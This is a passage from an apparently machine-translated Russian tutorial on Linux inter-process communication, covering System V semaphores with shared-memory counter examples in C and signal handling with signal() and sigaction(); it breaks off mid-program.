Предположим, что несколько процессов используют одну и ту же область кода, и если все хотят получить параллельный доступ, результат перекрывается. Скажем, например, что несколько пользователей используют только один принтер (общий / критический раздел), скажем, 3 пользователя при одновременном запуске 3 заданий, если все задания запускаются параллельно, тогда один вывод пользователя перекрывается с другим. Таким образом, мы должны защитить это с помощью семафоров, т. Е. Блокирования критической секции, когда выполняется один процесс, и разблокировки, когда он завершен. Это будет повторяться для каждого пользователя / процесса, чтобы одно задание не перекрывалось с другим заданием.

В основном семафоры делятся на два типа -

Двоичные семафоры - только два состояния 0 и 1, т. Е. Заблокировано / разблокировано или доступно / недоступно, реализация Mutex.

Подсчет семафоров - Семафоры, которые допускают произвольный подсчет ресурсов, называются подсчетами семафоров.

Предположим, что у нас есть 5 принтеров (чтобы понять, предположим, что 1 принтер принимает только 1 задание), и мы получили 3 задания на печать. Теперь 3 задания будут отданы на 3 принтера (по 1 на каждого). Снова 4 рабочих места пришли, пока это продолжается. Теперь из 2 доступных принтеров запланировано 2 задания, и у нас осталось еще 2 задания, которые будут выполнены только после того, как один из ресурсов / принтеров станет доступен. Этот вид планирования в соответствии с доступностью ресурса может рассматриваться как подсчет семафоров.

Чтобы выполнить синхронизацию с использованием семафоров, выполните следующие действия:

Шаг 1 - Создайте семафор или подключитесь к уже существующему семафору (semget ())

Шаг 2 - Выполните операции с семафором, т. Е. Выделите или освободите или дождитесь ресурсов (semop ())

Шаг 3 - Выполнение операций управления в очереди сообщений (semctl ())

Теперь давайте проверим это с помощью системных вызовов, которые у нас есть.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semget(key_t key, int nsems, int semflg)

Этот системный вызов создает или выделяет набор семафоров System V. Следующие аргументы должны быть переданы -

  • Первый аргумент, ключ, распознает очередь сообщений. Ключ может быть либо произвольным значением, либо ключом, который можно получить из библиотечной функции ftok ().

  • Второй аргумент, nsems, определяет количество семафоров. Если двоичный код, то он равен 1, что подразумевает необходимость набора 1 семафора, в противном случае согласно требуемому количеству наборов семафоров.

  • Третий аргумент, semflg, указывает требуемые флаги семафора, такие как IPC_CREAT (создание семафора, если он не существует) или IPC_EXCL (используется с IPC_CREAT для создания семафора, и вызов завершается неудачей, если семафор уже существует). Нужно также передать разрешения.

Примечание. Подробнее о разрешениях см. В предыдущих разделах.

Этот вызов вернул бы действительный идентификатор семафора (используемый для дальнейших вызовов семафоров) в случае успеха и -1 в случае сбоя. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

Различные ошибки в отношении этого вызова: EACCESS (разрешение отклонено), EEXIST (очередь уже существует, не может создать), ENOENT (очередь не существует), ENOMEM (недостаточно памяти для создания очереди), ENOSPC (ограничение максимального количества установок) превышен) и т. д.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semop(int semid, struct sembuf *semops, size_t nsemops)

Этот системный вызов выполняет операции над наборами семафоров System V, а именно: выделение ресурсов, ожидание ресурсов или освобождение ресурсов. Следующие аргументы должны быть переданы -

  • Первый аргумент, semid, указывает идентификатор набора семафоров, созданный semget ().

  • Второй аргумент, semops, является указателем на массив операций, которые должны быть выполнены с набором семафоров. Структура выглядит следующим образом -

struct sembuf {
   unsigned short sem_num; /* Semaphore set num */
   short sem_op; /* Semaphore operation */
   short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};

Элемент sem_op в приведенной выше структуре указывает на операцию, которую необходимо выполнить:

  • Если sem_op равен –ve, выделите или получите ресурсы. Блокирует вызывающий процесс до тех пор, пока другие процессы не освободят достаточно ресурсов, чтобы этот процесс мог выделить его.

  • Если sem_op равен нулю, вызывающий процесс ждет или спит, пока значение семафора не достигнет 0.

  • Если sem_op равен + ve, освободить ресурсы.

Например -

struct sembuf sem_lock = {0, -1, SEM_UNDO};

struct sembuf sem_unlock = {0, 1, SEM_UNDO};

  • Третий аргумент, nsemops, это количество операций в этом массиве.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semctl(int semid, int semnum, int cmd, …)

Этот системный вызов выполняет операцию управления для семафора System V. Следующие аргументы должны быть переданы -

  • Первый аргумент, semid, является идентификатором семафора. Этот идентификатор является идентификатором семафора, который является возвращаемым значением системного вызова semget ().

  • Второй аргумент, semnum, это номер семафора. Семафоры пронумерованы от 0.

  • Третий аргумент, cmd, является командой для выполнения требуемой операции управления на семафоре.

  • Четвертый аргумент типа union semun зависит от cmd. В некоторых случаях четвертый аргумент не применим.

Давайте проверим союз semun -

union semun {
   int val; /* val for SETVAL */
   struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
   unsigned short *array; /* Buffer for GETALL and SETALL */
   struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};

Структура данных semid_ds, которая определена в sys / sem.h, выглядит следующим образом:

struct semid_ds {
   struct ipc_perm sem_perm; /* Permissions */
   time_t sem_otime; /* Last semop time */
   time_t sem_ctime; /* Last change time */
   unsigned long sem_nsems; /* Number of semaphores in the set */
};

Примечание. Пожалуйста, обратитесь к справочным страницам для других структур данных.

Union Semun Arg; Допустимые значения для cmd -

  • IPC_STAT - копирует информацию о текущих значениях каждого члена struct semid_ds в переданную структуру, указанную arg.buf. Эта команда требует разрешения на чтение для семафора.

  • IPC_SET - устанавливает идентификатор пользователя, идентификатор группы владельца, разрешения и т. Д., На которые указывает структура semid_ds.

  • IPC_RMID - удаляет набор семафоров.

  • IPC_INFO - возвращает информацию о границах и параметрах семафора в структуре semid_ds, на которую указывает arg .__ buf.

  • SEM_INFO - возвращает структуру seminfo, содержащую информацию о потребляемых системных ресурсах семафором.

Этот вызов вернет значение (неотрицательное значение) в зависимости от переданной команды. В случае успеха IPC_INFO и SEM_INFO или SEM_STAT возвращают индекс или идентификатор самой высокой используемой записи в соответствии с семафором или значение semncnt для GETNCNT или значение sempid для GETPID или значение semval для GETVAL 0 для других операций в случае успеха и - 1 в случае неудачи. Чтобы узнать причину ошибки, проверьте с помощью переменной errno или функции perror ().

Прежде чем смотреть на код, давайте разберемся с его реализацией -

  • Создайте два процесса, скажем, дочерний и родительский.

  • Создать разделяемую память, в основном необходимую для хранения счетчика и других флагов, указывающих конец процесса чтения / записи в разделяемую память.

  • Счетчик увеличивается на счетчик как родительским, так и дочерним процессами. Счетчик либо передается в качестве аргумента командной строки, либо принимается по умолчанию (если он не передан в качестве аргумента командной строки или значение меньше 10000). Вызывается с определенным временем ожидания, чтобы гарантировать, что и родитель, и ребенок получают доступ к общей памяти одновременно, то есть параллельно.

  • Поскольку счетчик увеличивается с шагом 1 как родительским, так и дочерним, окончательное значение должно быть в два раза больше счетчика. Поскольку родительские и дочерние процессы выполняют операции одновременно, счетчик не увеличивается на единицу, как требуется. Следовательно, мы должны обеспечить полноту завершения одного процесса, за которым следует другой процесс.

  • Все вышеперечисленные реализации выполняются в файле shm_write_cntr.c

  • Проверьте, реализовано ли значение счетчика в файле shm_read_cntr.c

  • Для обеспечения завершения программа семафора реализована в файле shm_write_cntr_with_sem.c. Удалить семафор после завершения всего процесса (после чтения из другой программы)

  • Так как у нас есть отдельные файлы для чтения значения счетчика в общей памяти и мы не имеем никакого эффекта от записи, программа чтения остается прежней (shm_read_cntr.c)

  • Всегда лучше выполнять записывающую программу в одном терминале и читать программу из другого терминала. Так как программа завершает выполнение только после того, как процесс записи и чтения завершен, можно запускать программу после полного выполнения программы записи. Программа записи будет ждать, пока программа чтения будет запущена, и завершится только после того, как это будет сделано.

Программы без семафоров.

/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);

   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }

   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL , 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();

   /* Parent Process - Writing Once */
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
   sleep(1);

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }

   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}

/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
   //printf("SHM_CNTR is %d\n", shmp->cntr);
   
   /* Increment the counter in shared memory by total_count in steps of 1 */
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;
      
      /* Sleeping for a second for every thousand */
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }
   
   shmp->write_complete = 1;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Writing Done\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Writing Done\n");
   return;
}

Шаги компиляции и выполнения

Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

Теперь давайте проверим программу чтения общей памяти.

/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>

#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};

int main(int argc, char *argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   int total_count;
   int cntr;
   int sleep_time;
   if (argc != 2)
   total_count = 10000;
   
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL , 0);
   
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   
   /* Read the shared memory cntr and print it on standard output */
   while (shmp->write_complete != 1) {
      if (shmp->cntr == -1) {
         perror("read");
         return 1;
      }
      sleep(3);
   }
   printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   shmp->read_complete = 1;
   
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

Шаги компиляции и выполнения

Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

Если вы наблюдаете вышеприведенные выходные данные, счетчик должен быть 20000, однако, поскольку до завершения одной задачи процесса другой процесс также обрабатывает параллельно, значение счетчика не соответствует ожидаемому. Вывод будет варьироваться от системы к системе, а также будет зависеть от каждого выполнения. Чтобы гарантировать, что два процесса выполняют задачу после завершения одной задачи, она должна быть реализована с использованием механизмов синхронизации.

Теперь давайте проверим то же приложение, используя семафоры.

Примечание. Программа чтения остается прежней.

/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20

struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL , 0);
   
   if (shmp == (void *) -1) {
      perror("Shared memory attach: ");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();
   
   /* Parent Process - Writing Once */
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
   sleep(1);
   
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   
   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   remove_semaphore();
   return 0;
}

/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   int semid;
   struct sembuf sem_buf;
   struct semid_ds buf;
   int tries;
   int retval;
   semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
   //printf("errno is %d and semid is %d\n", errno, semid);
   
   /* Got the semaphore */
   if (semid >= 0) {
      printf("First Process\n");
      sem_buf.sem_op = 1;
      sem_buf.sem_flg = 0;
      sem_buf.sem_num = 0;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Operation: ");
         return;
      }
   } else if (errno == EEXIST) { // Already other process got it
      int ready = 0;
      printf("Second Process\n");
      semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Semaphore GET: ");
         return;
      }
      
      /* Waiting for the resource */
      sem_buf.sem_num = 0;
      sem_buf.sem_op = 0;
      sem_buf.sem_flg = SEM_UNDO;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Locked: ");
         return;
      }
   }
   sem_buf.sem_num = 0;
   sem_buf.sem_op = -1; /* Allocating the resources */
   sem_buf.sem_flg = SEM_UNDO;
   retval = semop(semid, &sem_buf, 1);
   
   if (retval == -1) {
      perror("Semaphore Locked: ");
      return;
   }
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
   //printf("SHM_CNTR is %d\n", shmp->cntr);
   
   /* Increment the counter in shared memory by total_count in steps of 1 */
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;
      /* Sleeping for a second for every thousand */
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }
   shmp->write_complete = 1;
   sem_buf.sem_op = 1; /* Releasing the resource */
   retval = semop(semid, &sem_buf, 1);
   
   if (retval == -1) {
      perror("Semaphore Locked\n");
      return;
   }
   
   if (pid == 0)
      printf("SHM_WRITE: CHILD: Writing Done\n");
      else if (pid > 0)
      printf("SHM_WRITE: PARENT: Writing Done\n");
      return;
}
   
void remove_semaphore() {
   int semid;
   int retval;
   semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Remove Semaphore: Semaphore GET: ");
         return;
      }
   retval = semctl(semid, 0, IPC_RMID);
   if (retval == -1) {
      perror("Remove Semaphore: Semaphore CTL: ");
      return;
   }
   return;
}

Шаги компиляции и выполнения

Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

Теперь мы проверим значение счетчика в процессе чтения.

Шаги выполнения

Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

Межпроцессное взаимодействие - сигналы

Сигнал - это уведомление процесса, указывающее на возникновение события. Сигнал также называется программным прерыванием и не может предсказать его возникновение, поэтому он также называется асинхронным событием .

Сигнал может быть указан с помощью номера или имени, обычно имена сигналов начинаются с SIG. Доступные сигналы можно проверить с помощью команды kill –l (l для списка имен сигналов), которая выглядит следующим образом:

Сигнал

Всякий раз, когда сигнал повышается (программно или сгенерированный системой сигнал), выполняется действие по умолчанию. Что если вы не хотите выполнять действие по умолчанию, но хотите выполнить свои собственные действия при получении сигнала? Возможно ли это для всех сигналов? Да, возможно обрабатывать сигнал, но не для всех сигналов. Что если вы хотите игнорировать сигналы, возможно ли это? Да, можно игнорировать сигнал. Игнорирование сигнала не подразумевает ни выполнения действия по умолчанию, ни обработки сигнала. Можно игнорировать или обрабатывать почти все сигналы. Сигналы, которые нельзя игнорировать или обрабатывать / перехватывать, это SIGSTOP и SIGKILL.

Таким образом, действия, выполняемые для сигналов, следующие:

  • Действие по умолчанию
  • Обрабатывать сигнал
  • Игнорировать сигнал

Как обсуждено, сигнал может быть обработан, изменяя выполнение действия по умолчанию. Обработка сигналов может быть выполнена любым из двух способов, т. Е. С помощью системных вызовов, signal () и sigaction ().

#include <signal.h>

typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);

Сигнал системного вызова () будет вызывать зарегистрированный обработчик при генерации сигнала, как указано в signum. Обработчик может быть одним из SIG_IGN (игнорирование сигнала), SIG_DFL (установка сигнала обратно на механизм по умолчанию) или определяемым пользователем обработчиком сигнала или адресом функции.

Этот системный вызов в случае успеха возвращает адрес функции, которая принимает целочисленный аргумент и не имеет возвращаемого значения. Этот вызов возвращает SIG_ERR в случае ошибки.

Хотя с signal () может быть вызван соответствующий обработчик сигнала, зарегистрированный пользователем, точная настройка, такая как маскирование сигналов, которые должны быть заблокированы, изменение поведения сигнала и другие функции, невозможны. Это возможно с помощью системного вызова sigaction ().

#include <signal.h>

int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)

Этот системный вызов используется для проверки или изменения действия сигнала. Если действие не является null , из действия устанавливается новое действие для сигнала signum. Если oldact не null , предыдущее действие сохраняется в oldact.

Структура sigaction содержит следующие поля:

Поле 1 - обработчик, упомянутый либо в sa_handler, либо в sa_sigaction.

void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);

Обработчик для sa_handler определяет действие, которое должно быть выполнено на основе сигнатуры и с SIG_DFL, указывающим действие по умолчанию или SIG_IGN, чтобы игнорировать сигнал или указатель на функцию обработки сигнала.

Обработчик sa_sigaction указывает номер сигнала в качестве первого аргумента, указатель на структуру siginfo_t в качестве второго аргумента и указатель на пользовательский контекст (для получения дополнительной информации проверьте getcontext () или setcontext ()) в качестве третьего аргумента.

Структура siginfo_t содержит информацию о сигнале, такую как номер сигнала, который должен быть доставлен, значение сигнала, идентификатор процесса, реальный идентификатор пользователя процесса отправки и т. Д.

Поле 2 - Набор сигналов для блокировки.

int sa_mask;

Эта переменная указывает маску сигналов, которые должны быть заблокированы во время выполнения обработчика сигналов.

Поле 3 - Специальные флаги.

int sa_flags;

Это поле указывает набор флагов, которые изменяют поведение сигнала.

Поле 4 - Восстановить обработчик.

void (*sa_restorer) (void);

Этот системный вызов возвращает 0 в случае успеха и -1 в случае сбоя.

Давайте рассмотрим несколько примеров программ.

Во-первых, давайте начнем с примера программы, которая генерирует исключение. В этой программе мы пытаемся выполнить операцию деления на ноль, что заставляет систему генерировать исключение.

/* signal_fpe.c */
#include<stdio.h>

int main() {
   int result;
   int v1, v2;
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}

Шаги компиляции и выполнения

Floating point exception (core dumped)

Таким образом, когда мы пытаемся выполнить арифметическую операцию, система сгенерировала исключение с плавающей запятой с дампом ядра, которое является действием по умолчанию для сигнала.

Теперь давайте изменим код для обработки этого конкретного сигнала с помощью системного вызова signal ().

/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_dividebyzero(int signum);

int main() {
   int result;
   int v1, v2;
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   v1 = 121;
   v2 = 0;
   result = v1/v2;
   printf("Result of Divide by Zero is %d\n", result);
   return 0;
}

void handler_dividebyzero(int signum) {
   if (signum == SIGFPE) {
      printf("Received SIGFPE, Divide by Zero Exception\n");
      exit (0);
   } 
   else
      printf("Received %d Signal\n", signum);
      return;
}

Шаги компиляции и выполнения

Received SIGFPE, Divide by Zero Exception

Как обсуждалось, сигналы генерируются системой (после выполнения определенных операций, таких как деление на ноль и т. Д.), Или пользователь также может генерировать сигнал программно. Если вы хотите генерировать сигнал программно, используйте библиотечную функцию поднимать ().

Теперь давайте возьмем другую программу для демонстрации обработки и игнорирования сигнала.

Предположим, что мы подняли сигнал с помощью метода поднятие (), что происходит потом? После подачи сигнала выполнение текущего процесса останавливается. Что происходит с остановленным процессом? Возможны два сценария. Во-первых, продолжайте выполнение при необходимости. Во-вторых, завершите (командой kill) процесс.

Чтобы продолжить выполнение остановленного процесса, отправьте SIGCONT этому конкретному процессу. Вы также можете выполнить команды fg (передний план) или bg (фон), чтобы продолжить выполнение. Здесь команды только перезапустят выполнение последнего процесса. Если остановлено более одного процесса, возобновляется только последний процесс. Если вы хотите возобновить ранее остановленный процесс, возобновите работу (используя fg / bg) вместе с номером работы.

Следующая программа используется для повышения сигнала SIGSTOP с помощью функции повысить (). Сигнал SIGSTOP также может быть сгенерирован пользовательским нажатием клавиши CTRL + Z (Control + Z). После выдачи этого сигнала программа прекратит выполнение. Отправьте сигнал (SIGCONT), чтобы продолжить выполнение.

В следующем примере мы возобновляем остановленный процесс командой fg.

/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

int main() {
   printf("Testing SIGSTOP\n");
   raise(SIGSTOP);
   return 0;
}

Шаги компиляции и выполнения

Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out

Теперь улучшите предыдущую программу, чтобы продолжить выполнение остановленного процесса, выдав SIGCONT из другого терминала.

/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>

void handler_sigtstp(int signum);

int main() {
   pid_t pid;
   printf("Testing SIGSTOP\n");
   pid = getpid();
   printf("Open Another Terminal and issue following command\n");
   printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
   raise(SIGSTOP);
   printf("Received signal SIGCONT\n");
   return 0;
}

Шаги компиляции и выполнения

Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out

Received signal SIGCONT
[1]+ Done ./a.out

В другом терминале

kill -SIGCONT 30379

До сих пор мы видели программу, которая обрабатывает сигнал, генерируемый системой. Теперь давайте посмотрим на сигнал, сгенерированный программой (с помощью функции lift () или команды kill). Эта программа генерирует сигнал SIGTSTP (остановка терминала), действие по умолчанию которого - остановить выполнение. Однако, поскольку мы сейчас обрабатываем сигнал вместо действия по умолчанию, он придет к определенному обработчику. В этом случае мы просто печатаем сообщение и выходим.

/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_sigtstp(int signum);

int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   return 0;
}

void handler_sigtstp(int signum) {
   if (signum == SIGTSTP) {
      printf("Received SIGTSTP\n");
      exit(0);
   }
   else
      printf("Received %d Signal\n", signum);
      return;
}

Шаги компиляции и выполнения

Testing SIGTSTP
Received SIGTSTP

Мы видели случаи выполнения действий по умолчанию или обработки сигнала. Теперь пришло время игнорировать сигнал. Здесь, в этом примере программы, мы регистрируем сигнал SIGTSTP для игнорирования через SIG_IGN, а затем поднимаем сигнал SIGTSTP (остановка терминала). Когда генерируется сигнал SIGTSTP, это будет игнорироваться.

/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>

void handler_sigtstp(int signum);

int main() {
   void (*sigHandlerReturn)(int);
   sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
   if (sigHandlerReturn == SIG_ERR) {
      perror("Signal Error: ");
      return 1;
   }
   printf("Testing SIGTSTP\n");
   raise(SIGTSTP);
   printf("Signal SIGTSTP is ignored\n");
   return 0;
}

Шаги компиляции и выполнения

Testing SIGTSTP
Signal SIGTSTP is ignored

До сих пор мы наблюдали, что у нас есть один обработчик сигнала для обработки одного сигнала. Можем ли мы иметь один обработчик для обработки нескольких сигналов? Ответ - да. Давайте рассмотрим это с помощью программы.

Следующая программа делает следующее -

Шаг 1 - Регистрирует обработчик (handleSignals) для перехвата или обработки сигналов SIGINT (CTRL + C) или SIGQUIT (CTRL + \)

Шаг 2 - Если пользователь генерирует сигнал SIGQUIT (либо с помощью команды kill, либо с помощью клавиатуры с помощью CTRL + \), обработчик просто печатает сообщение как возврат.

Шаг 3 - Если пользователь генерирует сигнал SIGINT (либо с помощью команды kill, либо с помощью клавиатуры с помощью CTRL + C) в первый раз, то он изменяет сигнал для выполнения действия по умолчанию (с SIG_DFL) со следующего раза.

Шаг 4 - Если пользователь генерирует сигнал SIGINT второй раз, он выполняет действие по умолчанию, которое является завершением программы.

/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>

void handleSignals(int signum);

int main(void) {
   void (*sigHandlerInterrupt)(int);
   void (*sigHandlerQuit)(int);
   void (*sigHandlerReturn)(int);
   sigHandlerInterrupt = sigHandlerQuit = handleSignals;
   sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
   
   if (sigHandlerReturn == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (1) {
      printf("\nTo terminate this program, perform the following: \n");
      printf("1. Open another terminal\n");
      printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
      sleep(10);
   }
   return 0;
}

void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou pressed CTRL+C \n");
      printf("Now reverting SIGINT signal to default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou pressed CTRL+\\ \n");
      break;
      default:
      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

Шаги компиляции и выполнения

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
          
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated

Еще один терминал

kill 71

Второй метод

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action

To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C

Мы знаем, что для обработки сигнала у нас есть два системных вызова, т.е. signal () или sigaction (). До сих пор мы видели системный вызов signal (), теперь пришло время для системного вызова sigaction (). Давайте изменим вышеуказанную программу, чтобы она выполнялась с использованием sigaction () следующим образом:

/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>

void handleSignals(int signum);

int main(void) {
   void (*sigHandlerReturn)(int);
   struct sigaction mysigaction;
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGINT, &mysigaction, NULL );
   
   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   mysigaction.sa_handler = handleSignals;
   sigemptyset(&mysigaction.sa_mask);
   mysigaction.sa_flags = 0;
   sigaction(SIGQUIT, &mysigaction, NULL );
   
   if (mysigaction.sa_handler == SIG_ERR) {
      perror("signal error: ");
      return 1;
   }
   while (-1) {
      printf("\nTo terminate this program, perform either of the following: \n");
      printf("1. Open another terminal and issue command: kill %d\n", getpid());
      printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
      sleep(10);
   }
   return 0;
}

void handleSignals(int signum) {
   switch(signum) {
      case SIGINT:
      printf("\nYou have entered CTRL+C \n");
      printf("Now reverting SIGINT signal to perform default action\n");
      signal(SIGINT, SIG_DFL);
      break;
      case SIGQUIT:
      printf("\nYou have entered CTRL+\\ \n");
      break;
      default:
